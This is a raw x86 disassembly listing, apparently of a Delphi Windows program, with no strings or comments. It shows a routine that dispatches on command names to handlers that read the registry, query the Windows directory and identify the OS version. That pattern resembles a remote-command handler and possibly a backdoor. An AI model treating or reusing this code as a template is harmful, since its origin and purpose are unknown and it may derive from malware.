lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0x205c]
push eax
lea ecx, [ebp - 0x2060]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2060]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x205c]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
lea eax, [ebp - 0x2064]
push eax
lea ecx, [ebp - 0x2068]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2068]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2064]
lea edx, [ebp - 0x3d8]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5a6180
push 0
lea eax, [ebp - 0x2070]
push eax
lea eax, [ebp - 0x2074]
push eax
lea ecx, [ebp - 0x2078]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2078]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x2074]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x2070]
lea edx, [ebp - 0x206c]
call fcn.005939c8
mov edx, dword [ebp - 0x206c]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0x2080]
push eax
lea eax, [ebp - 0x2084]
push eax
lea ecx, [ebp - 0x2088]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2088]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x2084]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0x2080]
lea edx, [ebp - 0x207c]
call fcn.005939c8
mov edx, dword [ebp - 0x207c]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0
lea eax, [ebp - 0x2090]
push eax
lea eax, [ebp - 0x2094]
push eax
lea ecx, [ebp - 0x2098]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2098]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x2094]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
call fcn.005b2fe8
mov eax, dword [ebp - 0x2090]
lea edx, [ebp - 0x208c]
call fcn.005939c8
mov edx, dword [ebp - 0x208c]
lea eax, [ebp - 0x3d8]
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a67dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20a0]
push eax
lea ecx, [ebp - 0x20a4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20a4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20a0]
lea edx, [ebp - 0x209c]
call fcn.0058ff30
mov eax, dword [ebp - 0x209c]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20ac]
push eax
lea ecx, [ebp - 0x20b0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20b0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20ac]
lea edx, [ebp - 0x20a8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20a8]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20b8]
push eax
lea ecx, [ebp - 0x20bc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20bc]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20b8]
lea edx, [ebp - 0x20b4]
call fcn.0058ff30
mov eax, dword [ebp - 0x20b4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20c4]
push eax
lea ecx, [ebp - 0x20c8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20c8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20c4]
lea edx, [ebp - 0x20c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x20c0]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20d0]
push eax
lea ecx, [ebp - 0x20d4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20d4]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20d0]
lea edx, [ebp - 0x20cc]
call fcn.0058ff30
mov eax, dword [ebp - 0x20cc]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20dc]
push eax
lea ecx, [ebp - 0x20e0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20e0]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20dc]
lea edx, [ebp - 0x20d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20d8]
call fcn.005936d4
push eax
mov eax, dword [ebp - 0x420]
call fcn.0040b328
push eax
mov eax, dword [ebp - 0x428]
call fcn.0040b328
push eax
lea eax, [ebp - 0x20e8]
push eax
lea ecx, [ebp - 0x20ec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20ec]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20e8]
lea edx, [ebp - 0x20e4]
call fcn.0058ff30
mov eax, dword [ebp - 0x20e4]
call fcn.005936d4
push eax
lea edx, [ebp - 0x20f0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x20f0]
push eax
lea edx, [ebp - 0x20f4]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20f4]
push eax
lea eax, [ebp - 0x20fc]
push eax
lea ecx, [ebp - 0x2100]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2100]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x20fc]
lea edx, [ebp - 0x20f8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20f8]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2108]
push eax
lea ecx, [ebp - 0x210c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x210c]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2108]
lea edx, [ebp - 0x2104]
call fcn.0058ff30
mov eax, dword [ebp - 0x2104]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2114]
push eax
lea ecx, [ebp - 0x2118]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2118]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2114]
lea edx, [ebp - 0x2110]
call fcn.0058ff30
mov eax, dword [ebp - 0x2110]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2120]
push eax
lea ecx, [ebp - 0x2124]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2124]
mov ecx, 0x11
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2120]
lea edx, [ebp - 0x211c]
call fcn.0058ff30
mov eax, dword [ebp - 0x211c]
push eax
mov eax, dword [ebp - 0x424]
push eax
lea eax, [ebp - 0x212c]
push eax
lea ecx, [ebp - 0x2130]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2130]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x212c]
lea edx, [ebp - 0x2128]
call fcn.0058ff30
mov eax, dword [ebp - 0x2128]
push eax
lea eax, [ebp - 0x2138]
push eax
lea ecx, [ebp - 0x213c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x213c]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2138]
lea edx, [ebp - 0x2134]
call fcn.0058ff30
mov eax, dword [ebp - 0x2134]
call fcn.0040b328
push eax
lea edx, [ebp - 0x2140]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x2140]
pop edx
pop ecx
call fcn.0057baac
test al, al
je 0x5a67d3
mov eax, dword [ebp - 0x42c]
mov edx, 0x5ade98
call fcn.00405ec0
je 0x5a67d3
mov eax, dword [ebp - 0x42c]
mov edx, 0x5af5a4
call fcn.00405ec0
jne 0x5a6634
lea eax, [ebp - 0x42c]
mov edx, 0x5af5b0
call fcn.00405b30
mov eax, dword [ebp - 0x42c]
mov edx, 0x5af5c4
call fcn.00405ec0
jne 0x5a6656
lea eax, [ebp - 0x42c]
mov edx, 0x5af5d0
call fcn.00405b30
lea edx, [ebp - 0x2144]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
cmp dword [ebp - 0x2144], 0
jne 0x5a6682
lea eax, [ebp - 0x434]
mov edx, 0x5af5e4
call fcn.00405b30
jmp 0x5a66a9
lea edx, [ebp - 0x2148]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov ecx, dword [ebp - 0x2148]
lea eax, [ebp - 0x434]
mov edx, 0x5af5f4
call fcn.00405db0
push 0x5af604
lea eax, [ebp - 0x2150]
push eax
lea ecx, [ebp - 0x2154]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2154]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2150]
lea edx, [ebp - 0x214c]
call fcn.0058ff30
push dword [ebp - 0x214c]
push 0x5af614
push dword [ebp - 0x434]
lea eax, [ebp - 0x434]
mov edx, 4
call fcn.00405e2c
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x215c]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x215c]
lea edx, [ebp - 0x2158]
call fcn.00589dcc
push dword [ebp - 0x2158]
push 0x5af620
push dword [ebp - 0x42c]
push 0x5af644
lea eax, [ebp - 0x3c0]
mov edx, 4
call fcn.00405e2c
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea edx, [ebp - 0x2164]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x2164]
lea edx, [ebp - 0x2160]
call fcn.00589dcc
mov eax, dword [ebp - 0x2160]
push eax
push 0x5af660
push dword [ebp - 0x434]
push 0x5ae46c
lea eax, [ebp - 0x2168]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a67e7
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af670
call fcn.00405ec0
jne 0x5a68be
lea edx, [ebp - 0x216c]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x216c]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x2170]
push eax
lea ecx, [ebp - 0x2174]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2174]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2170]
lea edx, [ebp - 0x3b0]
call fcn.0058ff30
xor eax, eax
push ebp
push 0x5a68af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3b0]
call fcn.0040b328
call fcn.0057cb04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af688
call fcn.00405ec0
jne 0x5a69eb
lea edx, [ebp - 0x2178]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x2178]
mov eax, dword [0x5d6094]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a69e4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor eax, eax
push ebp
push 0x5a69bd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2180]
push eax
lea ecx, [ebp - 0x2184]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2184]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2180]
lea edx, [ebp - 0x217c]
call fcn.0058ff30
mov eax, dword [ebp - 0x217c]
push eax
lea eax, [ebp - 0x218c]
push eax
lea ecx, [ebp - 0x2190]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2190]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x218c]
lea edx, [ebp - 0x2188]
call fcn.0058ff30
mov eax, dword [ebp - 0x2188]
call fcn.0040b328
pop edx
call fcn.0057c4f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a69c7
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af6a8
call fcn.00405ec0
jne 0x5a6add
lea edx, [ebp - 0x2194]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x2194]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x2198]
push eax
lea ecx, [ebp - 0x219c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x219c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2198]
lea edx, [ebp - 0x3b0]
call fcn.0058ff30
xor eax, eax
push ebp
push 0x5a6ace
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a0]
push eax
lea ecx, [ebp - 0x21a4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21a4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21a0]
call fcn.0040b328
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.0040b328
pop edx
call fcn.0057c8c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af6c4
call fcn.00405ec0
je 0x5a6b05
mov eax, dword [ebp - 0x438]
mov edx, 0x5af6dc
call fcn.00405ec0
jne 0x5a704e
xor eax, eax
push ebp
push 0x5a6f6e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x21a8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21a8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a6b95
lea edx, [ebp - 0x21ac]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x21ac]
push eax
lea eax, [ebp - 0x21b0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x21b0]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x21b4]
push eax
lea ecx, [ebp - 0x21b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21b8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21b4]
call fcn.0040b328
cmp eax, 4
ja case.default.0x5a6bd7
jmp dword [eax*4 + 0x5a6bde]
mov dword [ebp - 0x564], 0x80000000
jmp case.default.0x5a6bd7
mov dword [ebp - 0x564], 0x80000001
jmp case.default.0x5a6bd7
mov dword [ebp - 0x564], 0x80000002
jmp case.default.0x5a6bd7
mov dword [ebp - 0x564], 0x80000003
jmp case.default.0x5a6bd7
mov dword [ebp - 0x564], 0x80000005
lea eax, [ebp - 0x3c0]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a6f41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, dword [ebp - 0x564]
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [0x5d5b0c]
mov eax, dword [eax]
or eax, 0x20019
mov edx, dword [ebp - 0x554]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0x21c0]
push eax
lea ecx, [ebp - 0x21c4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21c4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21c0]
lea edx, [ebp - 0x21bc]
call fcn.0058ff30
mov edx, dword [ebp - 0x21bc]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5a6f1c
lea eax, [ebp - 0x21cc]
push eax
lea ecx, [ebp - 0x21d0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21d0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21cc]
lea edx, [ebp - 0x21c8]
call fcn.0058ff30
mov edx, dword [ebp - 0x21c8]
mov eax, dword [ebp - 0x554]
call fcn.00431278
test al, al
je 0x5a6eff
lea eax, [ebp - 0x21d8]
push eax
lea ecx, [ebp - 0x21dc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21dc]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21d8]
lea edx, [ebp - 0x21d4]
call fcn.0058ff30
mov edx, dword [ebp - 0x21d4]
lea ecx, [ebp - 0x620]
mov eax, dword [ebp - 0x554]
call fcn.00430fe8
movzx eax, byte [ebp - 0x620]
cmp eax, 4
ja case.default.0x5a6da1
jmp dword [eax*4 + 0x5a6da8]
lea eax, [ebp - 0x21e4]
push eax
lea ecx, [ebp - 0x21e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21e8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21e4]
lea edx, [ebp - 0x21e0]
call fcn.0058ff30
mov edx, dword [ebp - 0x21e0]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x554]
call fcn.00431090
jmp case.default.0x5a6da1
lea eax, [ebp - 0x21f0]
push eax
lea ecx, [ebp - 0x21f4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21f4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21f0]
lea edx, [ebp - 0x21ec]
call fcn.0058ff30
mov edx, dword [ebp - 0x21ec]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x554]
call fcn.00431090
jmp case.default.0x5a6da1
lea eax, [ebp - 0x21fc]
push eax
lea ecx, [ebp - 0x2200]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2200]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x21fc]
lea edx, [ebp - 0x21f8]
call fcn.0058ff30
mov edx, dword [ebp - 0x21f8]
mov eax, dword [ebp - 0x554]
call fcn.00431108
lea edx, [ebp - 0x3c0]
call fcn.0040b1ec
jmp case.default.0x5a6da1
lea eax, [ebp - 0x3c0]
mov edx, 0x5af6f4
call fcn.00405b30
jmp case.default.0x5a6da1
lea eax, [ebp - 0x3c0]
mov edx, 0x5af70c
call fcn.00405b30
jmp case.default.0x5a6da1
lea eax, [ebp - 0x3c0]
mov edx, 0x5af724
call fcn.00405b30
mov eax, dword [ebp - 0x554]
call fcn.00430994
jmp 0x5a6f2c
lea eax, [ebp - 0x3c0]
mov edx, 0x5af738
call fcn.00405b30
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a6f5b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a6f75
call fcn.005924cc
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5af75c
call fcn.00405ec0
jne 0x5a7348
xor eax, eax
push ebp
push 0x5a7341
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2208]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2208]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a70f9
lea edx, [ebp - 0x220c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x220c]
push eax
lea eax, [ebp - 0x2210]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2210]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x568]
lea edx, [ebp - 0x564]
lea eax, [ebp - 0x595]
call fcn.0058b188
lea eax, [ebp - 0x2214]
push eax
lea ecx, [ebp - 0x2218]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2218]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2214]
call fcn.005936d4
test al, al
je 0x5a72e1
lea eax, [ebp - 0x3c0]
mov edx, 0x5af778
call fcn.00405b30
cmp byte [ebp - 0x595], 0
je 0x5a7257
cmp dword [ebp - 0x564], 4
jne 0x5a719b
cmp dword [ebp - 0x568], 0
jne 0x5a719b
lea eax, [ebp - 0x3c0]
mov edx, 0x5af788
call fcn.00405b30
cmp dword [ebp - 0x564], 5
jne 0x5a71bd
cmp dword [ebp - 0x568], 0
jne 0x5a71bd
lea eax, [ebp - 0x3c0]
mov edx, 0x5af794
call fcn.00405b30
cmp dword [ebp - 0x564], 5
jne 0x5a71df
cmp dword [ebp - 0x568], 1
jne 0x5a71df
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7a4
call fcn.00405b30
cmp dword [ebp - 0x564], 5
jne 0x5a7201
cmp dword [ebp - 0x568], 2
jne 0x5a7201
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7b0
call fcn.00405b30
cmp dword [ebp - 0x564], 6
jne 0x5a72f2
cmp dword [ebp - 0x568], 0
jne 0x5a72f2
cmp dword [ebp - 0x618], 1
jl 0x5a7242
call fcn.0058e1e0
test al, al
je 0x5a7242
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7c0
call fcn.00405b30
jmp 0x5a72f2
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7d0
call fcn.00405b30
jmp 0x5a72f2
cmp dword [ebp - 0x564], 4
jne 0x5a7279
cmp dword [ebp - 0x568], 0
jne 0x5a7279
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7e0
call fcn.00405b30
cmp dword [ebp - 0x564], 4
jne 0x5a729b
cmp dword [ebp - 0x568], 0xa
jne 0x5a729b
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7ec
call fcn.00405b30
cmp dword [ebp - 0x564], 4
jne 0x5a72bd
cmp dword [ebp - 0x568], 0xb
jne 0x5a72bd
lea eax, [ebp - 0x3c0]
mov edx, 0x5af7f8
call fcn.00405b30
cmp dword [ebp - 0x564], 4
jne 0x5a72f2
cmp dword [ebp - 0x568], 0x5a
jne 0x5a72f2
lea eax, [ebp - 0x3c0]
mov edx, 0x5af808
call fcn.00405b30
jmp 0x5a72f2
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x618]
call fcn.0040b1ec
lea eax, [ebp - 0x221c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x221c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af814
call fcn.00405ec0
jne 0x5a84f6
xor eax, eax
push ebp
push 0x5a84ef
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2220]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2220]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a73f3
lea edx, [ebp - 0x2224]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x2224]
push eax
lea eax, [ebp - 0x2228]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2228]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x222c]
push eax
lea ecx, [ebp - 0x2230]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2230]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x222c]
call fcn.0040b328
cmp eax, 0x4d
ja case.default.0x5a7440
movzx eax, byte [eax + 0x5a7447]
jmp dword [eax*4 + 0x5a7495]
call fcn.0058a818
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
call fcn.0058a8e0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x2234]
push eax
lea ecx, [ebp - 0x2238]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2238]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
